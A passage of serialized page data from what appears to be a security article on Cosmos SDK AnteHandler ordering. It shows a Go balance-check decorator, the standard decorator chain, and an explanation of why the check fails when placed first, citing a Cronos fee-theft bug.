",{"type":25,"tag":201,"props":79698,"children":79699},{"style":4925},[79700],{"type":31,"value":79701},"AccountBalanceDecorator",{"type":25,"tag":201,"props":79703,"children":79704},{"style":220},[79705],{"type":31,"value":385},{"type":25,"tag":201,"props":79707,"children":79708},{"style":214},[79709],{"type":31,"value":79629},{"type":25,"tag":201,"props":79711,"children":79712},{"style":220},[79713],{"type":31,"value":4970},{"type":25,"tag":201,"props":79715,"children":79716},{"class":203,"line":397},[79717,79721,79726,79730,79734],{"type":25,"tag":201,"props":79718,"children":79719},{"style":246},[79720],{"type":31,"value":21720},{"type":25,"tag":201,"props":79722,"children":79723},{"style":4925},[79724],{"type":31,"value":79725}," sdk",{"type":25,"tag":201,"props":79727,"children":79728},{"style":220},[79729],{"type":31,"value":80},{"type":25,"tag":201,"props":79731,"children":79732},{"style":4925},[79733],{"type":31,"value":77433},{"type":25,"tag":201,"props":79735,"children":79736},{"style":220},[79737],{"type":31,"value":547},{"type":25,"tag":201,"props":79739,"children":79740},{"class":203,"line":437},[79741,79746,79750,79754,79759],{"type":25,"tag":201,"props":79742,"children":79743},{"style":246},[79744],{"type":31,"value":79745},"    tx",{"type":25,"tag":201,"props":79747,"children":79748},{"style":4925},[79749],{"type":31,"value":79725},{"type":25,"tag":201,"props":79751,"children":79752},{"style":220},[79753],{"type":31,"value":80},{"type":25,"tag":201,"props":79755,"children":79756},{"style":4925},[79757],{"type":31,"value":79758},"Tx",{"type":25,"tag":201,"props":79760,"children":79761},{"style":220},[79762],{"type":31,"value":547},{"type":25,"tag":201,"props":79764,"children":79765},{"class":203,"line":464},[79766,79771,79775],{"type":25,"tag":201,"props":79767,"children":79768},{"style":246},[79769],{"type":31,"value":79770},"    simulate",{"type":25,"tag":201,"props":79772,"children":79773},{"style":4925},[79774],{"type":31,"value":13552},{"type":25,"tag":201,"props":79776,"children":79777},{"style":220},[79778],{"type":31,"value":547},{"type":25,"tag":201,"props":79780,"children":79781},{"class":203,"line":490},[79782,79787,79791,79795,79799],{"type":25,"tag":201,"props":79783,"children":79784},{"style":246},[79785],{"type":31,"value":79786},"    next",{"type":25,"tag":201,"props":79788,"children":79789},{"style":4925},[79790],{"type":31,"value":79725},{"type":25,"tag":201,"props":79792,"children":79793},{"style":220},[79794],{"type":31,"value":80},{"type":25,"tag":201,"props":79796,"children":79797},{"style":4925},[79798],{"type":31,"value":79554},{"type":25,"tag":201,"props":79800,"children":79801},{"style":220},[79802],{"type":31,"value":547},{"type":25,"tag":201,"props":79804,"children":79805},{"class":203,"line":499},[79806,79810,79815,79819,79823,79827,79831],{"type":25,"tag":201,"props":79807,"children":79808},{"style":220},[79809],{"type":31,"value":77466},{"type":25,"tag":201,"props":79811,"children":79812},{"style":4925},[79813],{"type":31,"value":79814},"sdk",{"type":25,"tag":201,"props":79816,"children":79817},{"style":220},[79818],{"type":31,"value":80},{"type":25,"tag":201,"props":79820,"children":79821},{"style":4925},[79822],{"type":31,"value":77433},{"type":25,"tag":201,"props":79824,"children":79825},{"style":220},[79826],{"type":31,"value":919},{"type":25,"tag":201,"props":79828,"children":79829},{"style":4925},[79830],{"type":31,"value":293},{"type":25,"tag":201,"props":79832,"children":79833},{"style":220},[79834],{"type":31,"value":275},{"type":25,"tag":201,"props":79836,"children":79837},{"class":203,"line":522},[79838,79843,79847,79852,79856,79860,79865,79870,79874,79879],{"type":25,"tag":201,"props":79839,"children":79840},{"style":246},[79841],{"type":31,"value":79842},"    sigTx",{"type":25,"tag":201,"props":79844,"children":79845},{"style":220},[79846],{"type":31,"value":919},{"type":25,"tag":201,"props":79848,"children":79849},{"style":246},[79850],{"type":31,"value":79851},"ok",{"type":25,"tag":201,"props":79853,"children":79854},{"style":261},[79855],{"type":31,"value":77500},{"type":25,"tag":201,"props":79857,"children":79858},{"style":246},[79859],{"type":31,"value":69109},{"type":25,"tag":201,"props":79861,"children":79862},{"style":220},[79863],{"type":31,"value":79864},".(",{"type":25,"tag":201,"props":79866,"children":79867},{"style":4925},[79868],{"type":31,"value":79869},"authsigning",{"type":25,"tag":201,"props":79871,"children":79872},{"style":220},[79873],{"type":31,"value":80},{"type":25,"tag":201,"props":79875,"children":79876},{"style":4925},[79877],{"type":31,"value":79878},"SigVerifiableTx",{"type":25,"tag":201,"props":79880,"children":79881},{"style":220},[79882],{"type":31,"value":4666},{"type":25,"tag":201,"props":79884,"children":79885},{"class":203,"line":531},[79886,79890,79894,79898],{"type":25,"tag":201,"props":79887,"children":79888},{"style":230},[79889],{"type":31,"value":13781},{"type":25,"tag":201,"props":79891,"children":79892},{"style":261},[79893],{"type":31,"value":14366},{"type":25,"tag":201,"props":79895,"children":79896},{"style":246},[79897],{"type":31,"value":79851},{"type":25,"tag":201,"props":79899,"children":79900},{"style":220},[79901],{"type":31,"value":327},{"type":25,"tag":201,"props":79903,"children":79904},{"class":203,"line":550},[79905,79909,79913,79917,79922,79926,79931],{"type":25,"tag":201,"props":79906,"children":79907},{"style":230},[79908],{"type":31,"value":17239},{"type":25,"tag":201,"props":79910,"children":79911},{"style":246},[79912],{"type":31,"value":27327},{"type":25,"tag":201,"props":79914,"children":79915},{"style":220},[79916],{"type":31,"value":919},{"type":25,"tag":201,"props":79918,"children":79919},{"style":246},[79920],{"type":31,"value":79921},"errorsmod",{"type":25,"tag":201,"props":79923,"children":79924},{"style":220},[79925],{"type":31,"value":80},{"type":25,"tag":201,"props":79927,"children":79928},{"style":214},[79929],{"type":31,"value":79930},"Wrap",{"type":25,"tag":201,"props":79932,"children":79933},{"style":220},[79934],{"type":31,"value":4970},{"type":25,"tag":201,"props":79936,"children":79937},{"class":203,"line":563},[79938,79943,79947,79952],{"type":25,"tag":201,"props":79939,"children":79940},{"style":246},[79941],{"type":31,"value":79942},"            sdkerrors",{"type":25,"tag":201,"props":79944,"children":79945},{"style":220},[79946],{"type":31,"value":80},{"type":25,"tag":201,"props":79948,"children":79949},{"style":246},[79950],{"type":31,"value":79951},"ErrTxDecode",{"type":25,"tag":201,"props":79953,"children":79954},{"style":220},[79955],{"type":31,"value":547},{"type":25,"tag":201,"props":79957,"children":79958},{"class":203,"line":572},[79959,79964],{"type":25,"tag":201,"props":79960,"children":79961},{"style":267},[79962],{"type":31,"value":79963},"            \"invalid tx type\"",{"type":25,"tag":201,"props":79965,"children":79966},{"style":220},[79967],{"type":31,"value":547},{"type":25,"tag":201,"props":79969,"children":79970},{"class":203,"line":590},[79971],{"type":25,"tag":201,"props":79972,"children":79973},{"style":220},[79974],{"type":31,"value":69402},{"type":25,"tag":201,"props":79976,"children":79977},{"class":203,"line":608},[79978],{"type":25,"tag":201,"props":79979,"children":79980},{"style":220},[79981],{"type":31,"value":4861},{"type":25,"tag":201,"props":79983,"children":79984},{"class":203,"line":617},[79985],{"type":25,"tag":201,"props":79986,"children":79987},{"emptyLinePlaceholder":17},[79988],{"type":31,"value":496},{"type":25,"tag":201,"props":79990,"children":79991},{"class":203,"line":625},[79992,79997,80001,80006,80010,80015],{"type":25,"tag":201,"props":79993,"children":79994},{"style":246},[79995],{"type":31,"value":79996},"    signers",{"type":25,"tag":201,"props":79998,"children":79999},{"style":261},[80000],{"type":31,"value":77500},{"type":25,"tag":201,"props":80002,"children":80003},{"style":246},[80004],{"type":31,"value":80005}," sigTx",{"type":25,"tag":201,"props":80007,"children":80008},{"style":220},[80009],{"type":31,"value":80},{"type":25,"tag":201,"props":80011,"children":80012},{"style":214},[80013],{"type":31,"value":80014},"GetSigners",{"type":25,"tag":201,"props":80016,"children":80017},{"style":220},[80018],{"type":31,"value":1882},{"type":25,"tag":201,"props":80020,"children":80021},{"class":203,"line":642},[80022,80026,80030,80034,80038,80042,80046,80051],{"type":25,"tag":201,"props":80023,"children":80024},{"style":230},[80025],{"type":31,"value":4539},{"type":25,"tag":201,"props":80027,"children":80028},{"style":246},[80029],{"type":31,"value":4904},{"type":25,"tag":201,"props":80031,"children":80032},{"style":220},[80033],{"type":31,"value":919},{"type":25,"tag":201,"props":80035,"children":80036},{"style":246},[80037],{"type":31,"value":8655},{"type":25,"tag":201,"props":80039,"children":80040},{"style":261},[80041],{"type":31,"value":77500},{"type":25,"tag":201,"props":80043,"children":80044},{"style":230},[80045],{"type":31,"value":78483},{"type":25,"tag":201,"props":80047,"children":80048},{"style":246},[80049],{"type":31,"value":80050}," signers",{"type":25,"tag":201,"props":80052,"children":80053},{"style":220},[80054],{"type":31,"value":327},{"type":25,"tag":201,"props":80056,"children":80057},{"class":203,"line":659},[80058,80063,80067,80072,80076,80081,80085,80090,80094,80098,80102,80106,80110,80115],{"type":25,"tag":201,"props":80059,"children":80060},{"style":246},[80061],{"type":31,"value":80062},"        balance",{"type":25,"tag":201,"props":80064,"children":80065},{"style":261},[80066],{"type":31,"value":77500},{"type":25,"tag":201,"props":80068,"children":80069},{"style":246},[80070],{"type":31,"value":80071}," abd",{"type":25,"tag":201,"props":80073,"children":80074},{"style":220},[80075],{"type":31,"value":80},{"type":25,"tag":201,"props":80077,"children":80078},{"style":246},[80079],{"type":31,"value":80080},"bk",{"type":25,"tag":201,"props":80082,"children":80083},{"style":220},[80084],{"type":31,"value":80},{"type":25,"tag":201,"props":80086,"children":80087},{"style":214},[80088],{"type":31,"value":80089},"getBalance",{"type":25,"tag":201,"props":80091,"children":80092},{"style":220},[80093],{"type":31,"value":298},{"type":25,"tag":201,"props":80095,"children":80096},{"style":246},[80097],{"type":31,"value":21777},{"type":25,"tag":201,"props":80099,"children":80100},{"style":220},[80101],{"type":31,"value":919},{"type":25,"tag":201,"props":80103,"children":80104},{"style":246},[80105],{"type":31,"value":8655},{"type":25,"tag":201,"props":80107,"children":80108},{"style":220},[80109],{"type":31,"value":919},{"type":25,"tag":201,"props":80111,"children":80112},{"style":246},[80113],{"type":31,"value":80114},"ATOM",{"type":25,"tag":201,"props":80116,"children":80117},{"style":220},[80118],{"type":31,"value":4666},{"type":25,"tag":201,"props":80120,"children":80121},{"class":203,"line":667},[80122,80126,80131,80135,80140,80144,80149],{"type":25,"tag":201,"props":80123,"children":80124},{"style":230},[80125],{"type":31,"value":4779},{"type":25,"tag":201,"props":80127,"children":80128},{"style":246},[80129],{"type":31,"value":80130}," balance",{"type":25,"tag":201,"props":80132,"children":80133},{"style":220},[80134],{"type":31,"value":80},{"type":25,"tag":201,"props":80136,"children":80137},{"style":246},[80138],{"type":31,"value":80139},"Amount",{"type":25,"tag":201,"props":80141,"children":80142},{"style":261},[80143],{"type":31,"value":3208},{"type":25,"tag":201,"props":80145,"children":80146},{"style":246},[80147],{"type":31,"value":80148}," MIN_BALANCE",{"type":25,"tag":201,"props":80150,"children":80151},{"style":220},[80152],{"type":31,"value":327},{"type":25,"tag":201,"props":80154,"children":80155},{"class":203,"line":676},[80156,80161,80165,80169,80173,80177,80181],{"type":25,"tag":201,"props":80157,"children":80158},{"style":230},[80159],{"type":31,"value":80160},"            return",{"type":25,"tag":201,"props":80162,"children":80163},{"style":246},[80164],{"type":31,"value":27327},{"type":25,"tag":201,"props":80166,"children":80167},{"style":220},[80168],{"type":31,"value":919},{"type":25,"tag":201,"props":80170,"children":80171},{"style":246},[80172],{"type":31,"value":79921},{"type":25,"tag":201,"props":80174,"children":80175},{"style":220},[80176],{"type":31,"value":80},{"type":25,"tag":201,"props":80178,"children":80179},{"style":214},[80180],{"type":31,"value":79930},{"type":25,"tag":201,"props":80182,"children":80183},{"style":220},[80184],{"type":31,"value":4970},{"type":25,"tag":201,"props":80186,"children":80187},{"class":203,"line":694},[80188,80193],{"type":25,"tag":201,"props":80189,"children":80190},{"style":246},[80191],{"type":31,"value":80192},"                ErrInsufficientBalance",{"type":25,"tag":201,"props":80194,"children":80195},{"style":220},[80196],{"type":31,"value":547},{"type":25,"tag":201,"props":80198,"children":80199},{"class":203,"line":707},[80200,80205],{"type":25,"tag":201,"props":80201,"children":80202},{"style":267},[80203],{"type":31,"value":80204},"                \"Insufficient Balance\"",{"type":25,"tag":201,"props":80206,"children":80207},{"style":220},[80208],{"type":31,"value":547},{"type":25,"tag":201,"props":80210,"children":80211},{"class":203,"line":715},[80212],{"type":25,"tag":201,"props":80213,"children":80214},{"style":220},[80215],{"type":31,"value":78599},{"type":25,"tag":201,"props":80217,"children":80218},{"class":203,"line":732},[80219],{"type":25,"tag":201,"props":80220,"children":80221},{"style":220},[80222],{"type":31,"value":4853},{"type":25,"tag":201,"props":80224,"children":80225},{"class":203,"line":749},[80226],{"type":25,"tag":201,"props":80227,"children":80228},{"style":220},[80229],{"type":31,"value":4861},{"type":25,"tag":201,"props":80231,"children":80232},{"class":203,"line":757},[80233],{"type":25,"tag":201,"props":80234,"children":80235},{"emptyLinePlaceholder":17},[80236],{"type":31,"value":496},{"type":25,"tag":201,"props":80238,"children":80239},{"class":203,"line":765},[80240,80244,80249,80253,80257,80261,80266,80270,80275],{"type":25,"tag":201,"props":80241,"children":80242},{"style":230},[80243],{"type":31,"value":18486},{"type":25,"tag":201,"props":80245,"children":80246},{"style":214},[80247],{"type":31,"value":80248}," next",{"type":25,"tag":201,"props":80250,"children":80251},{"style":220},[80252],{"type":31,"value":298},{"type":25,"tag":201,"props":80254,"children":80255},{"style":246},[80256],{"type":31,"value":21777},{"type":25,"tag":201,"props":80258,"children":80259},{"style":220},[80260],{"type":31,"value":919},{"type":25,"tag":201,"props":80262,"children":80263},{"style":246},[80264],{"type":31,"value":80265},"tx",{"type":25,"tag":201,"props":80267,"children":80268},{"style":220},[80269],{"type":31,"value":919},{"type":25,"tag":201,"props":80271,"children":80272},{"style":246},[80273],{"type":31,"value":80274},"simulate",{"type":25,"tag":201,"props":80276,"children":80277},{"style":220},[80278],{"type":31,"value":4666},{"type":25,"tag":201,"props":80280,"children":80281},{"class":203,"line":783},[80282],{"type":25,"tag":201,"props":80283,"children":80284},{"style":220},[80285],{"type":31,"value":1187},{"type":25,"tag":34,"props":80287,"children":80288},{},[80289,80291,80296,80298,80304,80306,80312],{"type":31,"value":80290},"Where should this custom ",{"type":25,"tag":115,"props":80292,"children":80294},{"className":80293},[],[80295],{"type":31,"value":79554},{"type":31,"value":80297}," be placed relative to other ",{"type":25,"tag":115,"props":80299,"children":80301},{"className":80300},[],[80302],{"type":31,"value":80303},"AnteHandlers",{"type":31,"value":80305}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":25,"tag":115,"props":80307,"children":80309},{"className":80308},[],[80310],{"type":31,"value":80311},"SetUpContextDecorator",{"type":31,"value":80313}," should work, right?",{"type":25,"tag":34,"props":80315,"children":80316},{},[80317],{"type":25,"tag":71,"props":80318,"children":80321},{"href":80319,"rel":80320},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[75],[80322],{"type":31,"value":77823},{"type":25,"tag":191,"props":80324,"children":80326},{"code":80325,"language":77248,"meta":7,"className":77249,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[80327],{"type":25,"tag":115,"props":80328,"children":80329},{"__ignoreMap":7},[80330,80363,80380,80388,80417,80429,80441,80470,80498,80577,80610,80638,80683,80728,80756],{"type":25,"tag":201,"props":80331,"children":80332},{"class":203,"line":204},[80333,80338,80342,80346,80350,80354,80359],{"type":25,"tag":201,"props":80334,"children":80335},{"style":246},[80336],{"type":31,"value":80337},"anteDecorators",{"type":25,"tag":201,"props":80339,"children":80340},{"style":261},[80341],{"type":31,"value":77500},{"type":25,"tag":201,"props":80343,"children":80344},{"style":220},[80345],{"type":31,"value":77311},{"type":25,"tag":201,"props":80347,"children":80348},{"style":4925},[80349],{"type":31,"value":79814},{"type":25,"tag":201,"props":80351,"children":80352},{"style":220},[80353],{"type":31,"value":80},{"type":25,"tag":201,"props":80355,"children":80356},{"style":4925},[80357],{"type":31,"value":80358},"AnteDecorator",{"type":25,"tag":201,"props":80360,"children":80361},{"style":220},[80362],{"type":31,"value":1822},{"type":25,"tag":201,"props":80364,"children":80365},{"class":203,"line":226},[80366,80371,80375],{"type":25,"tag":201,"props":80367,"children":80368},{"style":214},[80369],{"type":31,"value":80370},"    NewSetUpContextDecorator",{"type":25,"tag":201,"props":80372,"children":80373},{"style":220},[80374],{"type":31,"value":19873},{"type":25,"tag":201,"props":80376,"children":80377},{"style":4497},[80378],{"type":31,"value":80379},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":25,"tag":201,"props":80381,"children":80382},{"class":203,"line":278},[80383],{"type":25,"tag":201,"props":80384,"children":80385},{"style":4497},[80386],{"type":31,"value":80387},"    // INSERT HERE\n",{"type":25,"tag":201,"props":80389,"children":80390},{"class":203,"line":311},[80391,80396,80400,80404,80408,80413],{"type":25,"tag":201,"props":80392,"children":80393},{"style":214},[80394],{"type":31,"value":80395},"    NewExtensionOptionsDecorator",{"type":25,"tag":201,"props":80397,"children":80398},{"style":220},[80399],{"type":31,"value":298},{"type":25,"tag":201,"props":80401,"children":80402},{"style":246},[80403],{"type":31,"value":37108},{"type":25,"tag":201,"props":80405,"children":80406},{"style":220},[80407],{"type":31,"value":80},{"type":25,"tag":201,"props":80409,"children":80410},{"style":246},[80411],{"type":31,"value":80412},"ExtensionOptionChecker",{"type":25,"tag":201,"props":80414,"children":80415},{"style":220},[80416],{"type":31,"value":8245},{"type":25,"tag":201,"props":80418,"children":80419},{"class":203,"line":330},[80420,80425],{"type":25,"tag":201,"props":80421,"children":80422},{"style":214},[80423],{"type":31,"value":80424},"    NewValidateBasicDecorator",{"type":25,"tag":201,"props":80426,"children":80427},{"style":220},[80428],{"type":31,"value":1104},{"type":25,"tag":201,"props":80430,"children":80431},{"class":203,"line":397},[80432,80437],{"type":25,"tag":201,"props":80433,"children":80434},{"style":214},[80435],{"type":31,"value":80436},"    NewTxTimeoutHeightDecorator",{"type":25,"tag":201,"props":80438,"children":80439},{"style":220},[80440],{"type":31,"value":1104},{"type":25,"tag":201,"props":80442,"children":80443},{"class":203,"line":437},[80444,80449,80453,80457,80461,80466],{"type":25,"tag":201,"props":80445,"children":80446},{"style":214},[80447],{"type":31,"value":80448},"    NewValidateMemoDecorator",{"type":25,"tag":201,"props":80450,"children":80451},{"style":220},[80452],{"type":31,"value":298},{"type":25,"tag":201,"props":80454,"children":80455},{"style":246},[80456],{"type":31,"value":37108},{"type":25,"tag":201,"props":80458,"children":80459},{"style":220},[80460],{"type":31,"value":80},{"type":25,"tag":201,"props":80462,"children":80463},{"style":246},[80464],{"type":31,"value":80465},"AccountKeeper",{"type":25,"tag":201,"props":80467,"children":80468},{"style":220},[80469],{"type":31,"value":8245},{"type":25,"tag":201,"props":80471,"children":80472},{"class":203,"line":464},[80473,80478,80482,80486,80490,80494],{"type":25,"tag":201,"props":80474,"children":80475},{"style":214},[80476],{"type":31,"value":80477},"    NewConsumeGasForTxSizeDecorator",{"type":25,"tag":201,"props":80479,"children":80480},{"style":220},[80481],{"type":31,"value":298},{"type":25,"tag":201,"props":80483,"children":80484},{"style":246},[80485],{"type":31,"value":37108},{"type":25,"tag":201,"props":80487,"children":80488},{"style":220},[80489],{"type":31,"value":80},{"type":25,"tag":201,"props":80491,"children":80492},{"style":246},[80493],{"type":31,"value":80465},{"type":25,"tag":201,"props":80495,"children":80496},{"style":220},[80497],{"type":31,"value":8245},{"type":25,"tag":201,"props":80499,"children":80500},{"class":203,"line":490},[80501,80506,80510,80514,80518,80522,80526,80530,80534,80539,80543,80547,80551,80556,80560,80564,80568,80573],{"type":25,"tag":201,"props":80502,"children":80503},{"style":214},[80504],{"type":31,"value":80505},"    NewDeductFeeDecorator",{"type":25,"tag":201,"props":80507,"children":80508},{"style":220},[80509],{"type":31,"value":298},{"type":25,"tag":201,"props":80511,"children":80512},{"style":246},[80513],{"type":31,"value":37108},{"type":25,"tag":201,"props":80515,"children":80516},{"style":220},[80517],{"type":31,"value":80},{"type":25,"tag":201,"props":80519,"children":80520},{"style":246},[80521],{"type":31,"value":80465},{"type":25,"tag":201,"props":80523,"children":80524},{"style":220},[80525],{"type":31,"value":919},{"type":25,"tag":201,"props":80527,"children":80528},{"style":246},[80529],{"type":31,"value":37108},{"type":25,"tag":201,"props":80531,"children":80532},{"style":220},[80533],{"type":31,"value":80},{"type":25,"tag":201,"props":80535,"children":80536},{"style":246},[80537],{"type":31,"value":80538},"BankKeeper",{"type":25,"tag":201,"props":80540,"children":80541},{"style":220},[80542],{"type":31,"value":919},{"type":25,"tag":201,"props":80544,"children":80545},{"style":246},[80546],{"type":31,"value":37108},{"type":25,"tag":201,"props":80548,"children":80549},{"style":220},[80550],{"type":31,"value":80},{"type":25,"tag":201,"props":80552,"children":80553},{"style":246},[80554],{"type":31,"value":80555},"FeegrantKeeper",{"type":25,"tag":201,"props":80557,"children":80558},{"style":220},[80559],{"type":31,"value":919},{"type":25,"tag":201,"props":80561,"children":80562},{"style":246},[80563],{"type":31,"value":37108},{"type":25,"tag":201,"props":80565,"children":80566},{"style":220},[80567],{"type":31,"value":80},{"type":25,"tag":201,"props":80569,"children":80570},{"style":246},[80571],{"type":31,"value":80572},"TxFeeChecker",{"type":25,"tag":201,"props":80574,"children":80575},{"style":220},[80576],{"type":31,"value":8245},{"type":25,"tag":201,"props":80578,"children":80579},{"class":203,"line":499},[80580,80585,80589,80593,80597,80601,80605],{"type":25,"tag":201,"props":80581,"children":80582},{"style":214},[80583],{"type":31,"value":80584},"    NewSetPubKeyDecorator",{"type":25,"tag":201,"props":80586,"children":80587},{"style":220},[80588],{"type":31,"value":298},{"type":25,"tag":201,"props":80590,"children":80591},{"style":246},[80592],{"type":31,"value":37108},{"type":25,"tag":201,"props":80594,"children":80595},{"style":220},[80596],{"type":31,"value":80},{"type":25,"tag":201,"props":80598,"children":80599},{"style":246},[80600],{"type":31,"value":80465},{"type":25,"tag":201,"props":80602,"children":80603},{"style":220},[80604],{"type":31,"value":16674},{"type":25,"tag":201,"props":80606,"children":80607},{"style":4497},[80608],{"type":31,"value":80609},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":25,"tag":201,"props":80611,"children":80612},{"class":203,"line":522},[80613,80618,80622,80626,80630,80634],{"type":25,"tag":201,"props":80614,"children":80615},{"style":214},[80616],{"type":31,"value":80617},"    NewValidateSigCountDecorator",{"type":25,"tag":201,"props":80619,"children":80620},{"style":220},[80621],{"type":31,"value":298},{"type":25,"tag":201,"props":80623,"children":80624},{"style":246},[80625],{"type":31,"value":37108},{"type":25,"tag":201,"props":80627,"children":80628},{"style":220},[80629],{"type":31,"value":80},{"type":25,"tag":201,"props":80631,"children":80632},{"style":246},[80633],{"type":31,"value":80465},{"type":25,"tag":201,"props":80635,"children":80636},{"style":220},[80637],{"type":31,"value":8245},{"type":25,"tag":201,"props":80639,"children":80640},{"class":203,"line":531},[80641,80646,80650,80654,80658,80662,80666,80670,80674,80679],{"type":25,"tag":201,"props":80642,"children":80643},{"style":214},[80644],{"type":31,"value":80645},"    NewSigGasConsumeDecorator",{"type":25,"tag":201,"props":80647,"children":80648},{"style":220},[80649],{"type":31,"value":298},{"type":25,"tag":201,"props":80651,"children":80652},{"style":246},[80653],{"type":31,"value":37108},{"type":25,"tag":201,"props":80655,"children":80656},{"style":220},[80657],{"type":31,"value":80},{"type":25,"tag":201,"props":80659,"children":80660},{"style":246},[80661],{"type":31,"value":80465},{"type":25,"tag":201,"props":80663,"children":80664},{"style":220},[80665],{"type":31,"value":919},{"type":25,"tag":201,"props":80667,"children":80668},{"style":246},[80669],{"type":31,"value":37108},{"type":25,"tag":201,"props":80671,"children":80672},{"style":220},[80673],{"type":31,"value":80},{"type":25,"tag":201,"props":80675,"children":80676},{"style":246},[80677],{"type":31,"value":80678},"SigGasConsumer",{"type":25,"tag":201,"props":80680,"children":80681},{"style":220},[80682],{"type":31,"value":8245},{"type":25,"tag":201,"props":80684,"children":80685},{"class":203,"line":550},[80686,80691,80695,80699,80703,80707,80711,80715,80719,80724],{"type":25,"tag":201,"props":80687,"children":80688},{"style":214},[80689],{"type":31,"value":80690},"    NewSigVerificationDecorator",{"type":25,"tag":201,"props":80692,"children":80693},{"style":220},[80694],{"type":31,"value":298},{"type":25,"tag":201,"props":80696,"children":80697},{"style":246},[80698],{"type":31,"value":37108},{"type":25,"tag":201,"props":80700,"children":80701},{"style":220},[80702],{"type":31,"value":80},{"type":25,"tag":201,"props":80704,"children":80705},{"style":246},[80706],{"type":31,"value":80465},{"type":25,"tag":201,"props":80708,"children":80709},{"style":220},[80710],{"type":31,"value":919},{"type":25,"tag":201,"props":80712,"children":80713},{"style":246},[80714],{"type":31,"value":37108},{"type":25,"tag":201,"props":80716,"children":80717},{"style":220},[80718],{"type":31,"value":80},{"type":25,"tag":201,"props":80720,"children":80721},{"style":246},[80722],{"type":31,"value":80723},"SignModeHandler",{"type":25,"tag":201,"props":80725,"children":80726},{"style":220},[80727],{"type":31,"value":8245},{"type":25,"tag":201,"props":80729,"children":80730},{"class":203,"line":563},[80731,80736,80740,80744,80748,80752],{"type":25,"tag":201,"props":80732,"children":80733},{"style":214},[80734],{"type":31,"value":80735},"    NewIncrementSequenceDecorator",{"type":25,"tag":201,"props":80737,"children":80738},{"style":220},[80739],{"type":31,"value":298},{"type":25,"tag":201,"props":80741,"children":80742},{"style":246},[80743],{"type":31,"value":37108},{"type":25,"tag":201,"props":80745,"children":80746},{"style":220},[80747],{"type":31,"value":80},{"type":25,"tag":201,"props":80749,"children":80750},{"style":246},[80751],{"type":31,"value":80465},{"type":25,"tag":201,"props":80753,"children":80754},{"style":220},[80755],{"type":31,"value":8245},{"type":25,"tag":201,"props":80757,"children":80758},{"class":203,"line":572},[80759],{"type":25,"tag":201,"props":80760,"children":80761},{"style":220},[80762],{"type":31,"value":1187},{"type":25,"tag":34,"props":80764,"children":80765},{},[80766,80768,80773,80775,80781,80782,80788],{"type":31,"value":80767},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":25,"tag":115,"props":80769,"children":80771},{"className":80770},[],[80772],{"type":31,"value":80303},{"type":31,"value":80774},", such as ",{"type":25,"tag":115,"props":80776,"children":80778},{"className":80777},[],[80779],{"type":31,"value":80780},"SigGasConsumeDecorator",{"type":31,"value":12493},{"type":25,"tag":115,"props":80783,"children":80785},{"className":80784},[],[80786],{"type":31,"value":80787},"ConsumeGasForTxSizeDecorator",{"type":31,"value":80789},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":25,"tag":34,"props":80791,"children":80792},{},[80793,80795,80801,80803,80808],{"type":31,"value":80794},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":25,"tag":115,"props":80796,"children":80798},{"className":80797},[],[80799],{"type":31,"value":80800},"msgs",{"type":31,"value":80802}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":25,"tag":115,"props":80804,"children":80806},{"className":80805},[],[80807],{"type":31,"value":79629},{"type":31,"value":80809}," chain.",{"type":25,"tag":40,"props":80811,"children":80813},{"id":80812},"real-world-examples-2",[80814],{"type":31,"value":77773},{"type":25,"tag":34,"props":80816,"children":80817},{},[80818,80820,80825,80827,80834],{"type":31,"value":80819},"An instance of ",{"type":25,"tag":115,"props":80821,"children":80823},{"className":80822},[],[80824],{"type":31,"value":79554},{"type":31,"value":80826}," misuse is a ",{"type":25,"tag":71,"props":80828,"children":80831},{"href":80829,"rel":80830},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[75],[80832],{"type":31,"value":80833},"Theft of Fund bug",{"type":31,"value":80835}," that was exploited in a Cronos contract.",{"type":25,"tag":34,"props":80837,"children":80838},{},[80839,80841,80846,80848,80853,80855,80861,80863,80869,80871,80876,80878,80883],{"type":31,"value":80840},"In this scenario, ",{"type":25,"tag":115,"props":80842,"children":80844},{"className":80843},[],[80845],{"type":31,"value":80800},{"type":31,"value":80847}," are multiplexed to different ",{"type":25,"tag":115,"props":80849,"children":80851},{"className":80850},[],[80852],{"type":31,"value":79554},{"type":31,"value":80854}," sets through the user-controlled ",{"type":25,"tag":115,"props":80856,"children":80858},{"className":80857},[],[80859],{"type":31,"value":80860},"ExtensionOptionsEthereumTx",{"type":31,"value":80862}," option. However, due to a lack of tx validation, if a ",{"type":25,"tag":115,"props":80864,"children":80866},{"className":80865},[],[80867],{"type":31,"value":80868},"MsgEthereumTx",{"type":31,"value":80870}," does not have ",{"type":25,"tag":115,"props":80872,"children":80874},{"className":80873},[],[80875],{"type":31,"value":80860},{"type":31,"value":80877}," specified, it will be routed to non-Ethereum ",{"type":25,"tag":115,"props":80879,"children":80881},{"className":80880},[],[80882],{"type":31,"value":80303},{"type":31,"value":80884},", failing to collect fees from users as intended. Consequently, 